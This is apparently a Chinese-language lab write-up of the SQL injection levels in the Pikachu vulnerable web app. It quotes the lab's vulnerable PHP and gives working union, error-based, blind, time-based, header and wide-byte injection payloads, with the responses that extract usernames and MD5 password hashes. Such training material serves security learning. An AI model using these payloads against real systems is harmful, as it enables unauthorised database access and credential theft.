1. 程式人生 > 其它 >[Pikachu 靶場] 4-SQL 注入

[Pikachu 靶場] 4-SQL 注入

SQLi:SQL 注入

0x00 SQLi(SQL Injection,SQL 注入)

注入漏洞應該是最可怕的漏洞型別了,而資料庫注入漏洞又是其中最可怕的分類。

由於語言銜接問題造成的注入漏洞可謂是五花八門,比如 CVE-2017-12635 就是因為 Erlang 和 JavaScript 對於 JSON 重複鍵的解析存在差異,導致惡意注入許可權記錄。從後端到資料庫難以避免語言的過渡銜接,如果後端沒能處理好前端傳來的輸入,就可能形成破壞性的 SQL 語句。

一般從如下幾個方面考慮防範 SQL 注入:

  • 對 SQL 中的變數進行過濾,不允許危險字元傳入;
  • 引數化請求(Parameterized Query),減少複雜易出錯的 SQL “長難句”;
  • 框架,許多 ORM 框架都是用引數化解決注入問題,但是也要防範 ORM 自身也存在字串拼接方法。

SQLi 每個實驗都需要反覆嘗試,圖太多了,這裡只貼出關鍵資訊的字串。

0x01 數字型注入(POST)

1. 原始碼

檢視原始碼可知未對id做任何過濾,直接拼接進入 SQL 語句中。

if(isset($_POST['submit']) && $_POST['id']!=null){
    //這裡沒有做任何處理,直接拼到select裡面去了,形成Sql注入
    $id=$_POST['id'];
    $query="select username,email from member where id=$id";
    $result=execute($link, $query);
    //這裡如果用==1,會嚴格一點
    if(mysqli_num_rows($result)>=1){
        while($data=mysqli_fetch_assoc($result)){
            $username=$data['username'];
            $email=$data['email'];
            $html.="<p class='notice'>hello,{$username} <br />your email is: {$email}</p>";
        }
    }else{
        $html.="<p class='notice'>您輸入的user id不存在,請重新輸入!</p>";
    }
}

2. 逐步查詢

通過直接抓包來修改id,免去前端種種限制。

閉合測試

  • Payload:id=1'

  • 報錯:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

可知存在 SQL 注入問題。

判斷欄位數

  • Payload:id=1 order by 3

  • 報錯:Unknown column '3' in 'order clause'

  • Payload:id=1 order by 2

  • 回顯:<p class='notice'>hello,vince <br />your email is: [email protected]</p>

可知欄位數為 2。

判斷回顯位

  • Payload:id=1 union select 1,2
  • 回顯:<p class='notice'>hello,vince <br />your email is: [email protected]</p><p class='notice'>hello,1 <br />your email is: 2</p>

可知在“1”和“2”處均可以顯示想要的資訊。

檢視資料庫名和使用者名稱

  • Payload:id=1 union select user(),database()
  • 回顯:<p class='notice'>hello,vince <br />your email is: [email protected]</p><p class='notice'>hello,root@localhost <br />your email is: pikachu</p>

得到使用者名稱 root@localhost,資料庫名 pikachu。

檢視 pikachu 下的所有表名

  • Payload:id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'
  • 回顯:<p class='notice'>hello,vince <br />your email is: [email protected]</p><p class='notice'>hello,1 <br />your email is: httpinfo,member,message,users,xssblind</p>

得到表名有 httpinfo、member、message、users、xssblind。

查詢 users 表中的欄位

  • Payload:id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
  • 回顯:<p class='notice'>hello,vince <br />your email is: [email protected]</p><p class='notice'>hello,1 <br />your email is: USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,level</p>

得到欄位名有 USER、CURRENT_CONNECTIONS、TOTAL_CONNECTIONS、id、username、password、level、id、username、password、level。

查詢欄位 username 和 password 的內容

  • Payload:id=1 union select group_concat(username),group_concat(password) from users
  • 回顯:<p class='notice'>hello,vince <br />your email is: [email protected]</p><p class='notice'>hello,admin,pikachu,test <br />your email is: e10adc3949ba59abbe56e057f20f883e,670b14728ad9902aecba32e22fa4f6bd,e99a18c428cb38d5f260853678922e03</p>

3. 結果

得到三組賬戶(密碼以 MD5 形式儲存):

  • admin,e10adc3949ba59abbe56e057f20f883e(123456)
  • pikachu,670b14728ad9902aecba32e22fa4f6bd(000000)
  • test,e99a18c428cb38d5f260853678922e03(abc123)

0x02 字元型注入(GET)

因為是 GET 方法,就比較方便,直接改 URL 就行。

閉合測試

  • Payload:name='&submit=%E6%9F%A5%E8%AF%A2

  • 報錯:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

可知存在 SQL 注入問題。

邏輯或

可知所有賬戶資料。

判斷欄位數

  • Payload:name=' order by 2 --+&submit=%E6%9F%A5%E8%AF%A2
  • 回顯:您輸入的username不存在,請重新輸入!
  • Payload:name=' order by 3 --+&submit=%E6%9F%A5%E8%AF%A2
  • 回顯:Unknown column '3' in 'order clause'

可知欄位數為 2。

判斷回顯位

  • Payload:name=' union select 1,2--+&submit=%E6%9F%A5%E8%AF%A2

  • 回顯:

    your uid:1
    your email is: 2

檢視使用者名稱和資料庫名

  • Payload:name=' union select user(),database()--+&submit=%E6%9F%A5%E8%AF%A2

  • 回顯:

    your uid:root@localhost
    your email is: pikachu

可知使用者名稱 root@localhost,資料庫名 pikachu。

檢視 pikachu 下的所有表名

  • Payload:name=' union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu' --+&submit=%E6%9F%A5%E8%AF%A2

  • 回顯:

    your uid:1
    your email is: httpinfo,member,message,users,xssblind

檢視 users 表中的欄位

  • Payload:name=' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --+&submit=%E6%9F%A5%E8%AF%A2

  • 回顯:

    your uid:1
    your email is: USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,level

檢視 users 中的賬戶

  • Payload:name=' union select group_concat(username),group_concat(password) from users --+&submit=%E6%9F%A5%E8%AF%A2

  • 回顯:

    your uid:admin,pikachu,test
    your email is: e10adc3949ba59abbe56e057f20f883e,670b14728ad9902aecba32e22fa4f6bd,e99a18c428cb38d5f260853678922e03

完成。

0x03 搜尋型注入

同樣是 GET 方法,修改 URL 即可。

與上一題類似,只是多了一個回顯位。

判斷回顯位

檢視 users 表中的賬戶

  • Payload:name=' union select 1,group_concat(username),group_concat(password) from users --+&submit=%E6%90%9C%E7%B4%A2

  • 回顯:

    username:vince
    uid:1
    email is: [email protected]

    username:allen
    uid:2
    email is: [email protected]

    username:kobe
    uid:3
    email is: [email protected]

    username:grady
    uid:4
    email is: [email protected]

    username:kevin
    uid:5
    email is: [email protected]

    username:lucy
    uid:6
    email is: [email protected]

    username:lili
    uid:7
    email is: [email protected]

    username:1
    uid:admin,pikachu,test
    email is: e10adc3949ba59abbe56e057f20f883e,670b14728ad9902aecba32e22fa4f6bd,e99a18c428cb38d5f260853678922e03

完成。

0x04 xx 型注入

本來還在納悶 xx 型是什麼型,看了眼提示( ̄﹃ ̄):

閉合測試

  • Payload:name=%27&submit=%E6%9F%A5%E8%AF%A2#
  • 報錯:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''')' at line 1

根據報錯得到閉合符號。

  • Payload:name=') --+&submit=%E6%9F%A5%E8%AF%A2#
  • 回顯:您輸入的username不存在,請重新輸入!

之後內容同上理。

檢視 users 中的賬戶

  • Payload:name=') union select group_concat(username),group_concat(password) from users --+&submit=%E6%9F%A5%E8%AF%A2#

  • 回顯:

    your uid:admin,pikachu,test
    your email is: e10adc3949ba59abbe56e057f20f883e,670b14728ad9902aecba32e22fa4f6bd,e99a18c428cb38d5f260853678922e03

完成。

0x05 insert/update 注入

1. insert 注入

在註冊時抓包分析。

閉合測試

  • Payload:username='

  • 報錯:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'test'),'man','1234567890','[email protected]','docker')' at line 1

可知存在 SQL 注入。

因為注入問題存在於註冊功能,無法直接取得回顯(根本就沒有回顯位),所以這裡應當考慮報錯注入

查詢庫名

  • Payload:username=' or updatexml(1,concat(0x7e,database()),0) or'
  • 報錯:XPATH syntax error: '~pikachu'

查詢使用者名稱

  • Payload:username=' or updatexml(1,concat(0x7e,user()),0) or'
  • 報錯:XPATH syntax error: '~root@localhost'

檢視 pikachu 下的所有表名

  • Payload:username=' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),1)or'
  • 報錯:XPATH syntax error: '~httpinfo,member,message,users,x'

此處發現顯示不全,顯然是報錯有長度限制。進一步可以使用leftmidright分段顯示。

下面使用right從右到左顯示 22 個字元。

  • Payload:username=' or updatexml(1,concat(0x7e,right((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),22)),1)or'
  • 報錯:XPATH syntax error: '~message,users,xssblind'

這樣就顯示出之前缺失的部分,也就是還有一個xssblind表。

除了上述方法,還可以使用limit逐個讀取表名,通過limit後面的引數調整顯示的表名。

  • Payload:username=' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),1)or'
  • 報錯:XPATH syntax error: '~httpinfo'

檢視 users 表中的所有欄位

  • Payload:username=' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),1)or'
  • 報錯:XPATH syntax error: '~USER,CURRENT_CONNECTIONS,TOTAL_'

同樣出現了長度不夠的問題,使用limit精準讀取。

  • Payload:username=' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1)or'
  • 報錯:XPATH syntax error: '~USER'

可以得到 id、username、password 等。

檢視 username 的記錄

  • Payload:username=' or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)or'
  • 報錯:XPATH syntax error: '~admin,pikachu,test'

檢視 password 的記錄

由於 password 的記錄較長(之前已知為 MD5 值),所以使用limit讀取。

  • Payload:username=' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)or'
  • 報錯:XPATH syntax error: '~e10adc3949ba59abbe56e057f20f883'

逐個讀取即可。

2. update 注入

首先利用已知賬戶 kobe/123456 登入,修改個人資訊並抓包。

測試閉合

  • Payload:sex='
  • 報錯:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1234567890',address='docker',email='[email protected]' where username='kobe'' at line 1

可知存在 SQL 注入問題。

逐步查詢

之後的步驟與 insert 注入類似。

  • Payload:sex=' or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)or'

  • 報錯:XPATH syntax error: '~admin,pikachu,test'

  • Payload:sex=' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)or'

  • 報錯:XPATH syntax error: '~e10adc3949ba59abbe56e057f20f883'

0x06 delete 注入

這裡還存留著 XSS 的測試內容。

1. 原始碼

檢視原始碼可知,沒有對 GET 的引數做任何處理,直接拼接到 SQL 語句中。

2. 抓包

輸入“testtest”,點選提交,再點選刪除,檢視抓包內容:

一個 GET 方法,僅根據id就把留言板內容刪了,現實中要是有這種設計就是大聰明瞭。

3. 逐步查詢

由於在 URL 中編寫,需要特別關注編碼問題,比如空格應當為%20

閉合測試

  • Payload:id=59'
  • 報錯:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

查詢資料庫名

  • Payload:id=59%20or%20updatexml(1,concat(0x7e,(select%20database())),1)
  • 報錯:XPATH syntax error: '~pikachu'

之後的操作與上一題類似,還免去了閉合單引號的工作。

查詢賬戶

  • Payload:id=58%20or%20updatexml(1,concat(0x7e,(select%20group_concat(username)%20from%20users)),1)

  • 報錯:XPATH syntax error: '~admin,pikachu,test'

  • Payload:id=59%20or%20updatexml(1,concat(0x7e,(select%20password%20from%20users%20limit%200,1)),1)

  • 報錯:XPATH syntax error: '~e10adc3949ba59abbe56e057f20f883'

0x07 HTTP Header 注入

使用 admin/123456 登入。

與之前類似,只不過注入點變成了 User-Agent 和 Accept。

  • Payload:User-Agent: '

  • 報錯:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','104' at line 1

後續操作與上題相同。

0x08 bool 盲注

查詢結果只存在 True 或 False(存在或不存在),沒有更多的報錯資訊可以挖掘。

測試

  • Payload:lucy

  • 回顯:

    your uid:6
    your email is: [email protected]

  • Payload:lucy'

  • 回顯:您輸入的username不存在,請重新輸入!

後面將回顯結果簡化為 True 和 False。

判斷資料庫名長度

  • Payload:lucy' and length(database())>7-- q
  • 回顯:False
  • Payload:lucy' and length(database())>6-- q
  • 回顯:True

說明資料庫名長度為 7。

查詢資料庫名

  • Payload:lucy' and (substr(database(),1,1))='p'-- q
  • 回顯:True

說明資料庫名的第一個字母為 p。

以此類推,得到庫名 pikachu。

**查詢表名 **

  • Payload:lucy' and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='h'-- q
  • 回顯:True

以此類推,得到全部表名:httpinfo,member,message,users,xssblind。

查詢 users 表中的欄位

  • Payload:lucy' and (substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))='i'-- q
  • 回顯:True

以此類推,得到全部欄位名:id,username,password,level,id,username,password。

查詢記錄

  • Payload:lucy' and (substr((select username from users limit 0,1),1,1))='a'-- q
  • 回顯:True

以此類推,得到三個賬戶的使用者名稱和密碼(MD5值)。

0x09 時間盲注

根據sleep()函式是否被執行獲得類似於 bool 的資訊。

測試

  • Payload:kobe%27+and+sleep%283%29--%20q
  • 執行:是

說明存在時間盲注問題(Payload 已經進行了 URL 轉碼的,不得再填寫於輸入框內,直接寫在 URL 中)。

判斷資料庫名長度

  • Payload:kobe%27+and sleep(if((length(database())=7),0,3))--%20q
  • 執行:是

判斷資料庫名

  • Payload:kobe' and if(substr(database(),1,1)='p',0,sleep(3))-- q

  • 執行:是

以此類推,得到資料庫名 pikachu。

判斷表名

  • Payload:kobe' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='h',0,sleep(3))-- q

判斷欄位名

  • Payload:kobe' and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',0,sleep(3))-- q

查詢記錄

  • Payload:kobe' and if(substr((select username from users limit 0,1),1,1)='a',0,sleep(3))-- q

0x0A 寬位元組注入

如果資料庫用的是 GBK 編碼,可以通過逃逸轉義使一些惡意字元發揮作用。比如:

'會被\轉義,\的 GBK 編碼為%5c,而%df%5c是“連”的編碼,所以通過%df使%5c失效,達成了單引號的逃逸。

可以看到一個or導致語句為真,將所有記錄查詢了出來。

判斷回顯位

  • Payload:kobe%df' union select 1,2-- q

之後過程類似於字元型注入(GET),不再贅述。